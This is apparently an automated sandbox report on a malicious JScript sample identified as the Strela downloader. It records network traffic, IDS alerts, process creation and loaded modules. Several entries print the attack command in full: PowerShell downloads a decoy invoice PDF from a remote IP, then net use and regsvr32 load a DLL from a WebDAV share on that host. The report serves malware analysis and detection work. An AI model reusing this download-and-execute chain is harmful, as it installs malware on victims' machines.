TCP traffic: 192.168.2.10:49737 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49722 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1292660214.00000180B8D00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1350342239.000002ED7ACD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1350342239.000002ED7AD14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/$
Source: net.exe, 00000007.00000002.1350342239.000002ED7ACD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s64
Source: svchost.exe, 00000009.00000002.2585165224.00000238B2400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1358685513.00000238B2600000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7860, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3007510974140184124.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7672

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7964:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bd1mxvoa.4h4.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3007510974140184124.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1684,i,294504916032587908,5039764811623114837,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1684,i,294504916032587908,5039764811623114837,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
